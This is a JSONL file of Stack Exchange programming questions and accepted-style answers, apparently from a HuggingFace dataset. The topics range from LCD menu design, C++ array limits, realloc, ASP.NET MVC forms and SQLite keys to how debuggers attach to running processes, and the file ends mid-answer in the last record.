{"id": "hf_aeb9082c7fe0", "question": "<p>Does anybody know any resources on this subject?</p>\n\n<p>I'm developing an embedded application for 2x16 LCD display. Ideally I would like to have a general (display independent) framework, that could be used virtually on any display - one or more segment(s) LED, 1x16, 2x16 LCD, etc.\nAlso would like to learn about general guidelines for such small user interfaces.</p>\n\n<p>EDIT: I'm interested in high-level functionality, how to organize the user interface - the menus, options and the user input. We don't dicuss the LCD controller issues here.</p>\n", "question_body": "", "answer": "If you're referring to a 2 line by 16 character display, they'll generally be pixel based and will have an integrated controller as they're much more complicated to control.  The 2x16 and 4x16 LCD devices I've used in the past actually have a nibble-wide interface, and the commands are sent to the device in\n```\n<command>[<address>][<data>]\n```\nstyle, with the number of nibbles required for a valid command being dictated by the command itself.  If would be helpful if you link to the target device as there really doesn't seem to be a standard from manufacturer to manufacturer.\nWith respect to segmented LEDs and LCDs, there is a standard layout for so-called seven segment devices that started back with the pixie tubes.  Here's a diagram that shows this segmentation:\n```\n```\na\n  ---\nf| g |b\n  ---\ne|   |c\n  ---\n   d\n```\n```\nAnother question is whether you want to drive the display directly or will use a controller IC.  It's pretty easy to drive a seven-segment LED as they generally have a common cathode or anode and you simply need to be able to sink or source enough current.  Driving an LCD directly is a little more complicated as the polarity applied to a pixel or segment has to constantly flipped to avoid damage to the device.  It's much easier to find a controller with an integrated clock that performs this function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.208146"}
{"id": "hf_5245acfc6bb5", "question": "<p>I am writing a small program.  The interface I am writing to control each repository that is made defines a method of Save(IPublicObject).  I am using LINQ for the SQL Version of the repository CRUD.  My question is this.  I would like to have only the one method which accepts the interface type.  I want to think how I can best locate the Save action for the inherited type I then pass in.  </p>\n\n<p>In the book I am reading Patterns of Enterprise Application Architecture.  I am leaning on the Inheritance Maping.  So I create a derived object of </p>\n\n<pre><code>public class ConcretePublicObjectOne : IPublicObject{}\n</code></pre>\n\n<p>I want to then pass this into the Save Function of the respository.  It is at this point where I am trying to think how best to say, ok we need to use \"WHAT?\" Save Method etc...</p>\n\n<p>Should I use a registry, configuration setting mapping the types?</p>\n", "question_body": "", "answer": "What you wish to do is to have a:\n```\n```\nRepository.Save(publicObject)\n```\n```\nand the repository to call a method from publicObject?\nIf this is the requirement then you can define the Save method in repository as:\n```\n```\npublic class Repository {\n    public void Save(IPublicObject publicObject) {\n        publicObject.Save();\n    }\n}\n```\n```\nwhere IPublicObject is defined as:\n```\n```\npublic interface IPublicObject {\n    void Save();\n}\n```\n```\nBut with this approach you will have to define a save method for each entity (like ConcretePublicObjectOne in your example)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.286276"}
{"id": "hf_7c7083f182c7", "question": "<p>Is there a max length for an array in C++?</p>\n\n<p>Is it a C++ limit or does it depend on my machine? Is it tweakable? Does it depend on the type the array is made of?</p>\n\n<p>Can I break that limit somehow or do I have to search for a better way of storing information? And what should be the simplest way?</p>\n\n<p>What I have to do is storing long long int on an array, I'm working in a Linux environment. My question is: what do I have to do if I need to store an array of N long long integers with N > 10 digits?</p>\n\n<p>I need this because I'm writing some cryptographic algorithm (as for example the p-Pollard) for school, and hit this wall of integers and length of arrays representation.</p>\n", "question_body": "", "answer": "There are two limits, both not enforced by C++ but rather by the hardware.\nThe first limit (should never be reached) is set by the restrictions of the size type used to describe an index in the array (and the size thereof). It is given by the maximum value the system's\n```\nstd::size_t\n```\ncan take. This data type is large enough to contain the size in bytes of any object\nThe other limit is a physical memory limit. The larger your objects in the array are, the sooner this limit is reached because memory is full. For example, a\n```\nvector<int>\n```\nof a given size\nn\ntypically takes multiple times as much memory as an array of type\n```\nvector<char>\n```\n(minus a small constant value), since\n```\nint\n```\nis usually bigger than\n```\nchar\n```\n. Therefore, a\n```\nvector<char>\n```\nmay contain more items than a\n```\nvector<int>\n```\nbefore memory is full. The same counts for raw C-style arrays like\n```\nint[]\n```\nand\n```\nchar[]\n```\n.\nAdditionally, this upper limit may be influenced by the type of\n```\nallocator\n```\nused to construct the\n```\nvector\n```\nbecause an\n```\nallocator\n```\nis free to manage memory any way it wants. A very odd but nontheless conceivable allocator could pool memory in such a way that identical instances of an object share resources. This way, you could insert a lot of identical objects into a container that would otherwise use up all the available memory.\nApart from that, C++ doesn't enforce any limits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.315092"}
{"id": "hf_bb28793f2dcc", "question": "<p>I'm creating a site where the user unfortunately has to provide a regex to be used in a MySQL WHERE clause. And of course I have to validate the user input to prevent SQL injection. The site is made in PHP, and I use the following regex to check my regex:</p>\n\n<pre><code>/^([^\\\\\\\\\\']|\\\\\\.)*$/\n</code></pre>\n\n<p>This is double-escaped because of PHP's way of handling regexes.\nThe way it's supposed to work is to only match safe regexps, without unescaped single quotes. But being mostly self-taught, I'd like to know if this is a safe way of doing it.</p>\n", "question_body": "", "answer": "If it is anly for the purposes of display this reg expression then most programs simply Html Encode the value and store in the DB and then the Decode on the way out.  Again only for Display purposes though, if you need to use the reg exp that is submitted this won't work.\nAlso know there is a method where the person intent on injecting writes out there SQL, Converts it to varbinary and submits the exec command with the base 64 representation of the query which I have been hit with in the past.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.390221"}
{"id": "hf_b71d45a239a9", "question": "<p>I want to apply a function to all columns in a matrix with MATLAB. For example, I'd like to be able to call smooth on every column of a matrix, instead of having smooth treat the matrix as a vector (which is the default behaviour if you call <code>smooth(matrix)</code>).</p>\n\n<p>I'm sure there must be a more idiomatic way to do this, but I can't find it, so I've defined a <code>map_column</code> function:</p>\n\n<pre><code>function result = map_column(m, func)\n    result = m;\n    for col = 1:size(m,2)\n        result(:,col) = func(m(:,col));\n    end\nend\n</code></pre>\n\n<p>which I can call with:</p>\n\n<pre><code>smoothed = map_column(input, @(c) (smooth(c, 9)));\n</code></pre>\n\n<p>Is there anything wrong with this code? How could I improve it?</p>\n", "question_body": "", "answer": "If this is a common use-case for your function, it would perhaps be a good idea to make the function iterate through the columns automatically if the input is not a vector.\nThis doesn't exactly solve your problem but it would simplify the functions' usage. In that case, the output should be a matrix, too.\nYou can also transform the matrix to one long column by using\n```\nm(:,:) = m(:)\n```\n. However, it depends on your function if this would make sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.439807"}
{"id": "hf_79a48925fe7c", "question": "<p>I have a very strange problem, when I try to <code>var_dump</code> (or <code>print_r</code>) a Doctrine Object, my Apache responses with an empty blank page (200 OK header). I can <code>var_dump</code> a normal php var like:</p>\n\n<pre><code>$dummy = array(\"a\" =&gt; 1, \"b\" =&gt;2);\n</code></pre>\n\n<p>And it works fine. But I can't with any object from any Doctrine class, (like a result from <code>$connection-&gt;query()</code>, or an instance of a class from my object model with Doctrine).</p>\n\n<p>Anybody knows why this happens?</p>\n", "question_body": "", "answer": "I've had that sometimes when trying to\n```\nprint_r()\n```\na self-referencing object - it gets into a loop and runs out of memory.  Possibly that's what's happening to you.\nTry increasing the memory limit (\n```\nini_set('memory_limit', '256M');\n```\n) and see if that fixes it.\nEdit:   I don't think there's an actual fix for this - it's PHP's internal\n```\nvar_dump\n```\n/\n```\nprint_r\n```\nthat don't limit depth on recursion (or don't do it properly, at least).  If you install the\nXDebug\nextension, this can replace the built-in\n```\nvar_dump\n```\nwith a version that handles recursion much better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.527584"}
{"id": "hf_2b60e22687e5", "question": "<p>As I understand it, when asked to reserve a larger block of memory, the realloc() function will do one of three different things:</p>\n\n<p><code><pre>\nif free contiguous block exists\n    grow current block\nelse if sufficient memory\n    allocate new memory\n    copy old memory to new\n    free old memory\nelse\n    return null\n</pre></code></p>\n\n<p>Growing the current block is a very cheap operation, so this is behaviour I'd like to take advantage of.  However, if I'm reallocating memory because I want to (for example) insert a char at the start of an existing string, I don't want realloc() to copy the memory.  I'll end up copying the entire string with realloc(), then copying it again manually to free up the first array element.</p>\n\n<p>Is it possible to determine what realloc() will do?  If so, is it possible to achieve in a cross-platform way?</p>\n", "question_body": "", "answer": "No\n- and if you think about it, it can't work. Between you checking what it's going to do and actually doing it, another process could allocate memory.\nIn a multi-threaded application this can't work. Between you checking what it's going to do and actually doing it, another thread could allocate memory.\nIf you're worried about this sort of thing, it might be time to look at the data structures you're using to see if you can fix the problem there. Depending on how these strings are constructed, you can do so quite efficiently with a well designed buffer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.552922"}
{"id": "hf_c3ffc3bcbe0e", "question": "<p>Highly embedded (limited code and ram size) projects pose unique challenges for code organization.</p>\n\n<p>I have seen quite a few projects with no organization at all. (Mostly by hardware engineers who, in my experience are not typically concerned with non-functional aspects of code.)</p>\n\n<p>However, I have been trying to organize my code accordingly:</p>\n\n<ol>\n<li>hardware specific (drivers, initialization)</li>\n<li>application specific (not likely to be reused)</li>\n<li>reusable, hardware independent</li>\n</ol>\n\n<p>For each module I try to keep the purpose to one of these three types.</p>\n\n<p>Due to limited size of embedded projects and the emphasis on performance, it is often keep this organization.</p>\n\n<p>For some context, my current project is a limited DSP application on a MSP430 with 8k flash and 256 bytes ram.</p>\n", "question_body": "", "answer": "I've worked with some sensors like the Tmote Sky, I too have seen poor organization, and I have to admit i have contributed to it. Anyway I'd say that some confusion has to be, because loading too much modules or too much part of program will be (imho) resource killing too, so try to be aware of a threshold between organization and usability on the low resources.\nObviously this don't mean let caos begin, but for example try to get a look on the organization of the\ntinyOS\nsource code and applications, it's an idea on what I'm trying to say.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.578872"}
{"id": "hf_59089b927979", "question": "<ul>\n<li>Is there a key shortcut for this in XCode?</li>\n<li>Can I implement an Applescript for this and run it within XCode?</li>\n</ul>\n", "question_body": "", "answer": "You can probably do that using a script (check out the relevent piece of Xcode documentation). Also see the \"Insert Text Macro\" menu item…\nBut you might find it to be more efficient to just use the auto-correct feature. I just type \"[[F\", then hit my auto-correct key (bound to F5 I believe, but I've changed it), type enough of the class name for it to be selected in the autocorrect popup. Hit space, start typing alloc but let auto correct kick in. Close the brace. Start typing init, use autocorrect again.\nYou generally shouldn't need to create macros/scripts for something this trivial. The autocorrect, placeholders and autofill features should be all you really need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.652866"}
{"id": "hf_d49c75892c9e", "question": "<p>I have a groovy script with an unknown number of variables in context at runtime, how do I find them all and print the name and value of each?</p>\n", "question_body": "", "answer": "Well, if you're using a simple script (where you don't use the \"def\" keyword), the variables you define will be stored in the binding and you can get at them like this:\n```\n```\nfoo = \"abc\"\nbar = \"def\"\n\nif (true) {\n    baz = \"ghi\"\n    this.binding.variables.each {k,v -> println \"$k = $v\"}\n}\n```\n```\nPrints:\n```\n```\nfoo = abc \n    baz = ghi \n    args = {} \n    bar = def\n```\n```\nI'm not aware of an easy way to enumerate through the variables defined with the \"def\" keyword, but I'll be watching this question with interest to see if someone else knows how.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.709550"}
{"id": "hf_72da63a138db", "question": "<p>What is the best way to format a decimal if I only want decimal displayed if it is not an integer.</p>\n\n<p>Eg:</p>\n\n<pre><code>decimal amount = 1000M\ndecimal vat = 12.50M\n</code></pre>\n\n<p>When formatted I want:</p>\n\n<pre><code>Amount: 1000 (not 1000.0000)\nVat: 12.5 (not 12.50)\n</code></pre>\n", "question_body": "", "answer": "```\n```\ndecimal one = 1000M;\n    decimal two = 12.5M;\n\n    Console.WriteLine(one.ToString(\"0.##\"));\n    Console.WriteLine(two.ToString(\"0.##\"));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.810505"}
{"id": "hf_bf0e9680a004", "question": "<p>I am displaying a scrolled data table in a web page.  This table has several thousands of dynamic rows, so it is loaded from the server (via AJAX).</p>\n\n<p>The user can scroll up and down, so what I need is to <strong>detect when the user reaches the end of the scrollbar</strong> (that is, the last row at the bottom of the table) in order to request and show more data.</p>\n\n<p>You can find this effect in google reader, when you scroll down to the last post in a given feed, google requests and shows new posts in a transparent way, but I can't figure out how they achieve it.</p>\n\n<p>By the way, right now I am using a <a href=\"http://developer.yahoo.com/yui/datatable/\" rel=\"noreferrer\">YUI Datatable</a></p>\n", "question_body": "", "answer": "I'm not familiar with the specific element you are using, but in order \n to implement this on a full size window, you can do the following:\n```\n```\n$wnd.onscroll = function() {\n    if (($wnd.height - $wnd.scrollTop) < SOME_MARGIN) then doSomething();\n};\n```\n```\nWhere scrollTop is essentially \"how many pixels have been scrolled\".\nI assume applying this to the table you are working with will do the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.873216"}
{"id": "hf_3829b91d2d80", "question": "<p>How would I go about adding <code>enctype=\"multipart/form-data\"</code> to a form that is generated by using <code>&lt;% Html.BeginForm(); %&gt;</code>?</p>\n", "question_body": "", "answer": "As part of htmlAttributes,e.g.\n```\n```\nHtml.BeginForm(\n    action, controller, FormMethod.Post, new { enctype=\"multipart/form-data\"})\n```\n```\nOr you can pass\n```\nnull\n```\nfor action and controller to get the same default target as for BeginForm() without any parameters:\n```\n```\nHtml.BeginForm(\n    null, null, FormMethod.Post, new { enctype=\"multipart/form-data\"})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.898002"}
{"id": "hf_a4e7e84a05d1", "question": "<p>I'm having to start building the architecture for a database project but i really don't know the differences between the engines.</p>\n\n<p>Anyone can explain whats the pros and bads of each of these three engines? We'll have to choose one of them and the only thing I actually know about them is this:</p>\n\n<ul>\n<li>Mysql &amp; Postgres:\n\n<ul>\n<li>Are free but not so good as oracle</li>\n<li>Mysql as security problems (is this true?)</li>\n</ul></li>\n<li>Oracle:\n\n<ul>\n<li>Best data base engine in the world</li>\n<li>Expensive</li>\n</ul></li>\n</ul>\n\n<p>Can someone clear out other differences between them? This is a medium/large (we're thinking of around some 100 to 200 tables) project with low budget, what would you choose? And with a higher budget?</p>\n", "question_body": "", "answer": "See the comparison tables on wikipedia:\nhttp://en.wikipedia.org/wiki/Comparison_of_object-relational_database_management_systems\n&&\nhttp://en.wikipedia.org/wiki/Comparison_of_relational_database_management_systems\nOracle may or may not be the best. It's expensive, but that doesn't mean best.\nHave you looked at DB2? Sybase? Teradata? MS SQL?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.923489"}
{"id": "hf_d8d9136eb83b", "question": "<p>Does anyone know of a good dictionary API or ruby library to lookup the definitions of words?</p>\n\n<p>I'm thinking it should work something like:</p>\n\n<ol>\n<li>I call get_definition(word)</li>\n<li>It returns the definition for that word (ideally in some way to easily format the definition for display.</li>\n</ol>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I discovered a webservice for this yesterday.\nGo to the\nBritish Council\nhomepage and double click on any word (that isn't already a hyperlink).\nThis should open a popup window with a Cambridge Dictionary definition in it. The API is relatively simple (and\nit is\na public API, I checked it yesterday):\n```\n```\nhttp://dictionary.cambridge.org/learnenglish/results.asp?searchword=SEARCH_PHRASE&dict=L\n```\n```\nFor reference, here's the code they use to launch this on double-click:\n```\n```\n/* BC double-click pop-up dictionary */\nvar NS = (navigator.appName == \"Netscape\" || navigator.product == 'Gecko') ? 1 : 0;\nif (NS) document.captureEvents(Event.DBLCLICK);\ndocument.ondblclick = dict;\nvar dictvar;\n\nfunction dict() {\n    if (NS) {\n        t = document.getSelection();\n        pass_to_dictionary(t);\n    } else {\n        t = document.selection.createRange();\n        if(document.selection.type == 'Text' && t.text != '') {\n            document.selection.empty();\n            pass_to_dictionary(t.text);\n        }\n    }\n}\n\nfunction pass_to_dictionary(text) {\n    //alert(text);\n    if (text > '') {\n        window.open('http://dictionary.cambridge.org/learnenglish/results.asp?searchword='+text+ '&dict=L', 'dict_win', 'width=650,height=400,resizable=yes,scrollbars=yes');\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.948540"}
{"id": "hf_ac226a2d7ea0", "question": "<p>How can I construct the following string in an Excel formula:</p>\n<blockquote>\n<p>Maurice &quot;The Rocket&quot; Richard</p>\n</blockquote>\n<p>If I'm using single quotes, it's trivial: <code>=&quot;Maurice 'The Rocket' Richard&quot;</code> but what about double quotes?</p>\n", "question_body": "", "answer": "Have you tried escaping with an additional double-quote? By escaping a character, you are telling Excel to treat the \" character as literal text.\n```\n```\n= \"Maurice \"\"The Rocket\"\" Richard\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.973754"}
{"id": "hf_3323d557b9aa", "question": "<p>Is there an Open Source Free Graph Control for Windows Forms .NET 2.0?</p>\n", "question_body": "", "answer": "I have been using\nZedGraph\nfor a while. You can generate various types of graphs that look very professional.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.997857"}
{"id": "hf_6cf8d81672a0", "question": "<p>I have a table called logs which has a datetime field. \nI want to select the date and count of rows based on a particular date format. </p>\n\n<p>How do I do this using SQLAlchemy?</p>\n", "question_body": "", "answer": "I don't know SQLAlchemy, so I could be off-target.  However, I think that all you need is:\n```\n```\nSELECT date_formatter(datetime_field, \"format-specification\") AS dt_field, COUNT(*)\n    FROM logs\n    GROUP BY date_formatter(datetime_field, \"format-specification\")\n    ORDER BY 1;\n```\n```\nOK, maybe you don't need the ORDER BY, and maybe it would be better to re-specify the date expression.  There are likely to be alternatives, such as:\n```\n```\nSELECT dt_field, COUNT(*)\n    FROM (SELECT date_formatter(datetime_field, \"format-specification\") AS dt_field\n              FROM logs) AS necessary\n    GROUP BY dt_field\n    ORDER BY dt_field;\n```\n```\nAnd so on and so forth.  Basically, you format the datetime field and then proceed to do the grouping etc on the formatted value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.021754"}
{"id": "hf_762981096a3e", "question": "<p>What is the best way to manage the JavaScript files and the functions/objects context in an ASP.NET MVC app?</p>\n", "question_body": "", "answer": "I put all my js files in the Content/Js folder. Then add URL helpers that allow me to change this in the future. My code isn't online, but I stole the idea from\nRob Conery MVC Commerce demo\n.\nNot sure what you mean by \"manage...the functions/objects context in ASp.NET MVC app\"\nI think you're asking how to segment/partition your scripts. \nYou should separate your JS files into separate chunks of functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.074337"}
{"id": "hf_04ca2422b2be", "question": "<p>How do I get a status report of all files currently being uploaded via HTTP form based file upload on an Apache Server?</p>\n", "question_body": "", "answer": "I don't believe you can do this with Apache itself. The upload looks like nothing more than a POST as far as Apache cares. There are modules and other servers that do special processing to uploads so you may have some luck there. It would probably be easier to keep track of it in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.111861"}
{"id": "hf_8150bc09cc73", "question": "<p>When I run the following, PowerShell hangs waiting for the dialog to close, even though the dialog is never displayed:</p>\n\n<pre><code>[void] [Reflection.Assembly]::LoadWithPartialName( 'System.Windows.Forms' )\n$d = New-Object Windows.Forms.OpenFileDialog\n$d.ShowDialog( )\n</code></pre>\n\n<p>Calling <code>ShowDialog</code> on a <code>Windows.Forms.Form</code> works fine. I also tried creating a <code>Form</code> and passing it as the parent to <code>$d.ShowDialog</code>, but the result was no different.</p>\n", "question_body": "", "answer": "I was able to duplicate your problem and found a workaround.  I don't know why this happens, but it has happened to others.\nIf you set the ShowHelp property to $true, you will get the dialog to come up properly.\nExample:\n```\n```\n[void] [Reflection.Assembly]::LoadWithPartialName( 'System.Windows.Forms' )\n$d = New-Object Windows.Forms.OpenFileDialog\n$d.ShowHelp = $true\n$d.ShowDialog( )\n```\n```\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.140869"}
{"id": "hf_0a503be214d0", "question": "<p>I use MS SQL Server 2005 application roles in an application. I execute the <code>sp_setapprole</code> to start the SPs role and to finish  <code>sp_unsetapprole.</code></p>\n<p>&quot;<strong>connection pooling doesn't work</strong>&quot; with application pooling, and there is no way to react on connection &quot;<strong>disconnect event</strong>&quot; (execute <code>sp_unsetapprole</code> just before disconnection).</p>\n<p>I decide to call <code>sp_setapprole</code> at the start of all my SPs and call <code>sp_unsetapprole</code> at the end of all SPs.</p>\n<p>Have you used SQL application roles? What are your XPs? What about performance hits?</p>\n", "question_body": "", "answer": "I have not used app roles before, but from what I know about the perf hit is that after setting the application role there is no way to revert to the prev. security context. Thus the connection cannot be reused in pooling. This alone is a huge perf. hit that forces you to think twice about using app roles.\nHowever, the docs say that starting from SQL Server 2005 there is a way to remember the original security context in a kind of cookie returned from sp_setapprole and after that use sp_unsetapprole to revert back to it. So the pooling should work again. If I were you, I would compare the perf. with a couple of simple statements/sprocs.\nAny reason you don't use the standard ASP.NET membership API on the application level instead of app roles?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.214924"}
{"id": "hf_b3586c0403a0", "question": "<p>File formats I would like to play include .wav, .mp3, .midi.</p>\n\n<p>I have tried using the Wireless Toolkit classes with no success. I have also tried using the AudioClip class that is part of the Samsung SDK; again with</p>\n", "question_body": "", "answer": "Without source code to review, I would suggest using the wireles toolkit (from\nhttp://java.sun.com)first\n.\nIt contains the standard J2ME emulator for windows and example code that will allow you to play a wav file.\nassuming that works OK for you, try the same code on your Samsung device (of course, the location of the wav file will probably change so you have a tiny modification to make in the example code).\nAssuming that works, compare your code that doesn't with the example code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.239196"}
{"id": "hf_0395a6274a77", "question": "<p>I know that this is a simple question for PHP guys but I don't know the language and just need to do a simple \"get\" from another web page when my page is hit. i.e. signal the other page that this page has been hit.</p>\n\n<p>EDIT: curl is not available to me.</p>\n", "question_body": "", "answer": "If curl wrappers are on (they are per default), you can use:\n```\n```\nfile_get_contents('http://www.example.org');\n```\n```\nNote that this happens synchronous, so before the request has completed, your page won't either. It would be better to log access to a logfile (or database) and export the data occasionally. Alternatively, you could do the request after your page has completed, and output has been sent to the client.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.263247"}
{"id": "hf_86ff71b9cda6", "question": "<p>I'm looking for a straightforward example / tutorial for implementing a JAX-WS (soap1.1 and soap1.2) web service based on wsdl definition using spring, axis2 and tomcat.</p>\n\n<p>hint anyone ?</p>\n\n<p>-- Yonatan </p>\n", "question_body": "", "answer": "There is no such thing as \"straightforward\" in the world of SOAP. Any example and tutorial is bound to be complex due to the overengineered nature of this beast.\nIf you can choose your technologies, I'd recommend putting axis aside, and using Tomcat 6 + Java 6 + Metro.\nMetro\nis Sun's latest, greatest Java web services  (jax-ws) stack. Coupled with JavaEE annotations, it's a\nrelatively\npainless way to get a web service off the ground quickly.\nSorry to not answer the question directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.306280"}
{"id": "hf_64497f75de94", "question": "<p>What's the best way to get the last inserted id using sqlite from Java? Google is giving me different answers--some say select the last-insert-rowid; others say call statement.getGeneratedKeys(). What's the best route to take? (I just want to return the id, not use it for other inserts or anything.)</p>\n", "question_body": "", "answer": "Use\n```\ngetGeneratedKeys()\n```\nif your JDBC driver supports it.  You don't want to muck around trying to get the key yourself after the insert.  If your driver does not support\n```\ngetGeneratedKeys()\n```\nthen I would get the next value from the key before the insert.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.339756"}
{"id": "hf_e18452834ddf", "question": "<p>Yes that sounds backwards. I want to create an area or frame in my Silverlight app to host another page from my site. I've seen it done before but I can't seem to find any examples.</p>\n\n<p>This way I can control the entire page layout using SL but still use existing aspx pages.</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "Yes, it can be done and its quite easy to do. I plan on blogging about my HtmlBrowser control and posting the source. The basics are to make sure the Silverlight control is hosted with the isWindowless parameter enabled and then you can at runtime through the HtmlPage class create an IFRAME element and set the src attribute to the HTML page location. The fun part is getting the sizing right, but its not too difficult.\nFollow my blog\nhttp://craign.net/\nover the next couple of days as I'll post my control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.370585"}
{"id": "hf_0c5acf8fb14c", "question": "<p>I keep wondering how does a debugger work? Particulary the one that can be 'attached' to already running executable. I understand that compiler translates code to machine language, but then how does debugger 'know' what it is being attached to?</p>\n", "question_body": "", "answer": "The details of how a debugger works will depend on what you are debugging, and what the OS is. For native debugging on Windows you can find some details on MSDN:\nWin32 Debugging API\n.\nThe user tells the debugger which process to attach to, either by name or by process ID. If it is a name then the debugger will look up the process ID, and initiate the debug session via a system call; under Windows this would be\nDebugActiveProcess\n.\nOnce attached, the debugger will enter an event loop much like for any UI, but instead of events coming from the windowing system, the OS will generate events based on what happens in the process being debugged – for example an exception occurring. See\nWaitForDebugEvent\n.\nThe debugger is able to read and write the target process' virtual memory, and even adjust its register values through APIs provided by the OS. See the list of\ndebugging functions\nfor Windows.\nThe debugger is able to use information from symbol files to translate 